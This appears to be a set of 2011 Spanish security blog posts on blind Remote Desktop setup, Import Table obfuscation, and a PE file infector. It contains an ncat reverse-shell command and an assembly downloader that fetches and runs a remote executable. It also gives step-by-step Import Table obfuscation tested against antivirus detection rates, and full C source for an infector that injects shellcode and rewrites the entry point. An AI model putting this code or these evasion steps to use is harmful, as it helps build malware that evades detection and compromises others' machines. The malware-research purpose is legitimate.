martes, 19 de abril de 2011

Cómo habilitar escritorio remoto a ciegas

La tarjeta gráfica de mi portátil ha muerto. Ya mostraba algunos síntomas, pantallazos negro, fallos del driver, rayas, todo debido al calor y mira que limpie el ventilador, pero ya era demasiado tarde. De modo que tengo un portátil funcionando pero en el que no veo nada de lo que pasa.

Por suerte tengo un netbook para ver pelis y tal… Está bien pero a la hora de ejecutar máquinas virtuales y demás va un poco lento.

Así que pensé en usar el netbook como “equipo tonto” que no tiene nada instalado y que se conecta por escritorio remoto al portátil bueno.

El problema es que cuando la tarjeta murió no tenía habilitado el escritorio remoto. Así que tenía que activarlo a ciegas. La solución que se me ocurrió fue ver que proceso seguía en un Windows 7 para habilitar el escritorio remoto usando solamente el teclado y repetirlo sin confundirme en el portátil sin gráfica.

La combinación mágica es la siguiente:
Pulsar tecla de windows, escribir “permitir el” (si está en español), esperar unos segundos, pulsar enter, pulsar 3 veces tab, tecla abajo, tab, enter, pulsar 5 veces tab y por último 2 veces enter.

Así habremos habilitado el escritorio remoto en nuestro equipo. Siempre y cuando no se tenga firewall activado.

image

Otra opción hubiese sido sacar el disco duro, conectarlo a otro equipo, meter en una carpeta ncat, iniciar el equipo y a ciegas ejecutar cmd.exe y el comando necesario para que ncat nos de una shell a otro equipo: ncat x.x.x.x port –e cmd. Y desde la consola habilitar el escritorio remoto modificando este valor del registro usando el comando reg:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections: 0 

O instalar alguna herramienta de administración remota, siempre que no necesite ningún tipo de interacción gráfica para la instalación (casi todas). O sino ya instalar un troyano que permita administrar el escritorio.

Tendré que acostumbrarme a este mini teclado…

Saludos!

jueves, 14 de abril de 2011

Con la IT ofuscada MalwareAnalyzer falla

Mirando los RSS he llegado a este post de hacktimes, Análisis de Malware – MalwareAnalyzer, no conocía MalwareAnalyzer, parece bastante útil. Así que probe con el Downloader que comente en la anterior entrada con la IT ofuscada y boom, ha petado:

image

Ups!

miércoles, 13 de abril de 2011

Ofuscación de la IT, consecuencias

Ya adelanto que parece que “ofuscar” la IT no es demasiado útil para saltarse las heurísticas, mi gozo en un pozo :( Pero sigue siendo útil para confundir a algunos antivirus o herramientas(LordPE).

Para realizar las pruebas necesitamos un programa que supongamos que vaya a ser detectado por heurística, el mas típico y sencillo es un Downloader que haga uso primero de la API URLDownloadToFile para descargar un fichero desde una página web y después de la API ShellExecute para ejecutar el fichero descargado.

Supongo que un antivirus al ver que las 2 únicas API que se usan son esas dos tan sospechosas detectará el fichero como posible Downloader.

El código en ensamblador es sencillito:

.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
include urlmon.inc
include shell32.inc

includelib kernel32.lib
includelib urlmon.lib
includelib shell32.lib

.data

urlcalc  db "http://sites.google.com/site/xyzthor/calc/calc.exi?attredirects=0&d=1", 0 ;Calculadora de windwos
nombre   db "calc.exe", 0
action  db "open", 0

.code

codigo:

push 0
push 0
push offset nombre
push  offset urlcalc
push 0
call  URLDownloadToFile

push SW_SHOW
push  0
push  0
push  offset nombre
push  offset action
push 0
call ShellExecute
 
push 0
call  ExitProcess

end codigo

El código descarga la calculadora desde http://sites.google.com/site/xyzthor/calc/calc.exi?attredirects=0&d=1 y la ejecuta.

Os subo aquí el ejecutable compilado.

Lo subimos a VirusTotal y lo detectan 27/42 AVs. Algunos nombres son muy descriptivos: Heuristic.BehavesLike.Win32.Downloader.J

Ahora aplicamos la técnica de ofuscar la IT. Esta vez para hacerlo mas sencillo he añadido 2 secciones y he puesto la IT en medio. Subo el ejecutable con la IT ofuscada por si queréis echarle un ojo.

Lo volvemos a subir a VT y lo detectan 20/42. Algunos AVs no detectan esta muestra pero si la anterior y viceversa. Así que no es un a prueba muy concluyente, además no estoy seguro que lo detecten por heurística habría que probar los antivirus con la heurística desactivada y ver si detectan el ejecutable o no. A ver si sale pronto a la luz KIMS 2.0 y puedo realizar algunas pruebas mas.

Algo curioso es que Microsoft Security Essentials si detecta el downloader original: image

Pero no detecta el ejecutable con la IT ofuscada, ¿no será capaz de leerla? ¿O influirán otras cosas?

Un saludo!

lunes, 11 de abril de 2011

Ofuscación de la Import Table

Leyendo y probando cosas sobre la Import Table, IT, di con una forma de ofuscar o hacer mas difícil de leer la IT.

La idea es poner la Import Table entre 2 secciones, al final de una y comienzo de la siguiente. Estas secciones en disco están separadas, pero una vez cargadas en memoria estarán juntas de modo que el cargador de Windows podrá leer correctamente la IT pero las herramientas que leen la IT en disco fallaran, como LordPE.

Veámoslo mas detalladamente.

Para las pruebas he compilado este programa en ensamblador(MASM) que solo muestra un MessageBox y finaliza:

.386
.model flat, stdcall
option casemap:none

include windows.inc
include user32.inc
include kernel32.inc

includelib user32.lib
includelib kernel32.lib

.data

mensaje  db "Primer programa de prueba", 0
titulo   db "Sector Virus", 0

.code

codigo:

push MB_OK + MB_ICONINFORMATION
push  offset titulo
push  offset mensaje
push  0
call  MessageBox

push  0
call  ExitProcess

end codigo

Cuelgo aquí el ejecutable.

Podemos ver con Olly que el ejecutable tiene 3 secciones y que la IT está en la segunda sección, rdata:

image

Veamos un resumen de las secciones con los valores que nos interesan:

.text: VirtualAddress 1000h VirtualSize 26h PointerToRawData 400h SizeOfRawData 200h .rdata VirtualAddress 2000h VirtualSize 92h PointerToRawData 600h SizeOfRawData 200h

.data VirtualAddress 3000h VirtualSize 27h PointerToRawData 800h SizeOfRawData 200h

Otro dato importante es que la IT empieza en la RVA 2010h

image

Traducido a dirección física es la 610h.

He realizado un esquema de como estaría el ejecutable en disco y en memoria para que se entienda mas fácilmente:

image

Nuestro objetivo es poner la IT al final de .rdata y comienzo de .data. Que estas secciones en disco estén separadas pero que en memoria estén juntas.

Pero como vemos en el esquema en memoria la seccion .rdata y .data no están juntas, .rdata acaba en 2200h y .data empieza en 3000h. El valor SectionAlignment es 1000h así que las secciones tienen que empezar en valores múltiplos de 1000h por lo que no podemos hacer que la sección .data virutalmente empiece en 2200h, donde acaba .rdata. La única opción que nos queda es ampliar el tamaño de .rdata para que ocupe todo el espacio en memoria, desde 2000h hasta 3000h.

image

Para ello debemos añadir D00h 00’s al final de .rdata para hacer que el tamaño de está sea 1000h. Hay que corregir los valores de las secciones tmb:

.text: VirtualAddress 1000h VirtualSize 26h PointerToRawData 400h SizeOfRawData 200h .rdata VirtualAddress 2000h VirtualSize 92h PointerToRawData 600h SizeOfRawData 1000h

.data VirtualAddress 3000h VirtualSize 27h PointerToRawData 1600h SizeOfRawData 200h

Ahora ya podemos probar a mover la IT de sitio y ponerla entre las secciones .rdata y .data:

image

La IT ahora estará en disco en la posición 15FCh, que corresponde a la sección .rdata, pero finaliza en la sección .data. En memoria la IT estará en la posición 2FFCh, así que corregimos ese valor en la cabecera PE:

image

Probamos el ejecutable y vemos que funciona correctamente. Ya lo último que nos queda es separar las secciones .rdata y .data en disco. Esto se hace simplemente insertando 00’s y corrigiendo los valores de las secciones. El esquema quedará así:

image

Y las secciones:

.text: VirtualAddress 1000h VirtualSize 26h PointerToRawData 400h SizeOfRawData 200h .rdata VirtualAddress 2000h VirtualSize 92h PointerToRawData 600h SizeOfRawData 1000h

.data VirtualAddress 3000h VirtualSize 27h PointerToRawData 1800h SizeOfRawData 200h

El espacio entre 1600h y 1800h contiene 00’s y no será mapeado en memoria cuando se cargue el ejecutable ya que no corresponde a ninguna sección.

Subo aquí el ejecutable modificado.

De este modo, como vemos en el esquema, la IT en memoria está junta pero en disco separada de modo que LordPE se confunde:

image

No es la única herramienta que se confunde de hecho supongo que casi todas las herramientas que leen la IT en disco se confundirán. Por ejemplo en VirusTotal en la parte de información de un ejecutable nos muestra las funciones importadas. Con el ejecutable original podemos ver las 2 funciones que utiliza el exe:

image

Pero con la IT ofuscada no es capaz de leerla correctamente:

image

Las heurísticas de los antivirus una de las cosas que hacen es fijarse en la IT ver que funciones usa el ejecutable y dependiendo de lo peligrosas que sean identificar un exe como un posible malware. ¿Será posible usando esta técnica engañar a la heurística de un AV?

En la siguiente entrada hacemos unas pruebas. Saludos! PD: Hay un detalle que me he saltado para hacer la explicación mas sencilla de seguir. En la sección data están las cadenas que se usaran en el MessageBox, nosotros ahí hemos puesto parte de la IT de modo que es necesario desplazarlas de lugar y corregir el código.

domingo, 10 de abril de 2011

Simple pero rara forma de infectar un PE

El otro día gracias a Twitter (lo siento, no logro encontrar quien lo twitteo) dí con esta entrada del blog de Marco Ramilli donde explica como infectar un ejecutable de forma sencilla. Os dejo aquí el código todo junto:

#include <stdio.h>
#include <windows.h>

DWORD GetTextSectionOffset(PIMAGE_SECTION_HEADER pSectionHeader , int NumberOfSections)
{
 while(NumberOfSections > 0)
 {
  if( !strcmpi((char*)pSectionHeader->Name , ".text"))
  {
   return pSectionHeader->PointerToRawData;
  }
 }
 /* we did not find .text section */
 return 0;
}

int main(int argc , char *argv[])
{
 HANDLE hFile;
 HANDLE hMap;
 char *MappedFile = 0;
 DWORD FileSize; /* file size */
 DWORD delta;
 DWORD SectionOffset; /* .text section offset*/
 DWORD func_addr;
 IMAGE_DOS_HEADER *pDosHeader;
 IMAGE_NT_HEADERS *pNtHeader;
 IMAGE_SECTION_HEADER *pSecHeader;

 //The shell code to be injected !
 char code[] = "\x6A\x00" /*push 0 */
   "\xB8\x00\x00\x00\x00" /*mov eax , func_addr (address will be inserted automaticly)*/
   "\xFF\xD0"; /*call eax */

 if(argc != 2)
 {
  printf("parameters : %s [filename] \n", argv[0]);
  printf("simple pe infector by _antony \n");
  return 0;
 }
 printf("target: [%s] \n" , argv[1]);
 
 //Opening the passed file:
 hFile = CreateFile(argv[1] ,
      GENERIC_WRITE | GENERIC_READ ,
      0 ,
      0 ,
      OPEN_EXISTING ,
      FILE_ATTRIBUTE_NORMAL ,
      0);
 if(hFile == INVALID_HANDLE_VALUE)
 {
  printf("[Error]: Can't open File! Error code : %d" , GetLastError());
  return -1;
 }

 //Getting file size:
 FileSize = GetFileSize(hFile , 0 );
 printf("[File Size ]: %d \n", FileSize);
 /* mapping file */
 hMap = CreateFileMapping(hFile ,
        0 ,
        PAGE_READWRITE ,
        0 ,
        FileSize ,
        0);
 if(hMap == INVALID_HANDLE_VALUE)
 {
  printf("[Error]: Can't map file! Error code: %d\n" , GetLastError());
  CloseHandle(hFile);
  return -1;
 }
 MappedFile = (char*)MapViewOfFile(hMap , FILE_MAP_READ | FILE_MAP_WRITE , 0 , 0 , FileSize);
 if(MappedFile == NULL)
 {
  printf("[Error]: Can't map file! Error code %d\n", GetLastError());
  CloseHandle(hFile);
  CloseHandle(hMap);
  UnmapViewOfFile(MappedFile);
  return -1;
 }
 //Mapping Headers:
 pDosHeader = (IMAGE_DOS_HEADER*)MappedFile;
 pNtHeader = (IMAGE_NT_HEADERS*)((DWORD)MappedFile + pDosHeader->e_lfanew);
 pSecHeader = IMAGE_FIRST_SECTION(pNtHeader);

 SectionOffset = GetTextSectionOffset(pSecHeader , pNtHeader->FileHeader.NumberOfSections);
 if(SectionOffset == 0)
 {
  printf("[Error]: Can't find .text section!\n");
  CloseHandle(hFile);
  CloseHandle(hMap);
  UnmapViewOfFile(MappedFile);
  return -1;
 }
 delta = SectionOffset - sizeof(code);
 int i;
 BYTE check;
 printf("scanning...\n");

 //looking for free space (0x/00), if enough free space is found then copy shellcode.
 for(i=0 ; i<sizeof(code) ; i++)
 {
  check = *((BYTE*)MappedFile + delta + i);
  printf("%X \t", check);
  if(check != 0)
  {
   printf("There is some data...\n");
   CloseHandle(hFile);
   CloseHandle(hMap);
   UnmapViewOfFile(MappedFile);
   return -1;
  }
 }
 printf("Space if free , infecting File...\n");

 //Inserting function addresses dynamically into the shellcode.

  func_addr = (DWORD)GetProcAddress( LoadLibrary("kernel32.dll") , "ExitProcess");
  for(i=0 ; i < sizeof(code) ; i++ )
  {
   if( *(DWORD*)&code[i] == 0x00000B8)
   {
    *(DWORD*)(code+i+1)= func_addr;
   }
  }
 
  //Setting up new OEP.

  printf("Old Entry Point : %08X \n" , pNtHeader->OptionalHeader.AddressOfEntryPoint);
  memcpy(MappedFile+delta , code , sizeof(code));

  //since delta is PointerToRawData - sizeof(code), it could be added as new OEP.
  pNtHeader->OptionalHeader.AddressOfEntryPoint = delta;
  printf("File infected!\n");
  printf("New Entry Point: %08X \n" , delta);

  CloseHandle(hFile);
  CloseHandle(hMap);
  UnmapViewOfFile(MappedFile);
  return 0;
}

Viendo el código me doy cuenta que en la anterior entrada yo leía el fichero de una forma muy chapucera, reservando memoria con malloc y después leyéndolo entero de golpe, ¿que el fichero ocupa 100 MB? pues 100 MB de memoria que se ocupan… En esté código lo hace de la forma mas correcta, utilizando un fichero proyectado en memoria mediante las APIs CreateFileMapping y MappedFile. Aquí está explicado de lujo que son y para que sirven los archivos proyectados en memoria:
Los rincones del API Win32: Archivos proyectados en memoria
De ahora en adelante lo tendré en cuenta jeje.

Una cosa extraña es que a primera vista, tras leer el código y los comentarios que hizo Marco por encima, pensé que el código buscaba la sección .text, buscaba espacio libre en ella suficiente para escribir el injerto, lo escribía y cambiaba el EP. Pero no, en realidad busca la sección .text y justo antes de que está empiece, si no hay nada ahí, escribe el injerto. Y cómo habitualmente la sección .text es la primera y antes de ella está la cabecera PE, esto implica que el injerto es escrito en la cabecera PE, WTF! Yo pensaba que ahí no se podía escribir código ya que no tendría permisos de ejecución, pero parece ser que no es así.

Veamos un notepad.exe que me ha “infectado” este código. Lo primero vemos que las cabeceras ocupan 400h bytes.

image

La sección .text comienza justo al final de la cabecera, en 400h:

image

De modo que en el código que he puesto arriba la función GetTextSectionOffset devuelve 400h, después realiza este calculo:

delta = SectionOffset - sizeof(code);

Sustituyendo:

delta = 400h - Ah;
delta = 3F6h

Y en esa posición (que ya no forma parte de la sección .text, es la cabecera)busca con el bucle for si todos los bytes valen 0, en el caso de mi notepad esto es así, de modo que escribe ahí el injerto (en azul).

image

El injerto invoca la funcion ExitProcess y finaliza el proceso.

Veo que para lo que hace este código no es necesario buscar la sección .text, simplemente podría mirar el tamaño de las cabeceras situarse al final y ver si hay espacio libre ahí para poner el código, al final de la cabecera PE. Así sería aun mas sencillo y funcionaría con ejecutables en los que la sección de código se llama .code, o .UPX por ejemplo.

Lo mas curioso de todo es que se pueda ejecutar código que esté en la cabecera PE, seguro que es útil.

Saludos!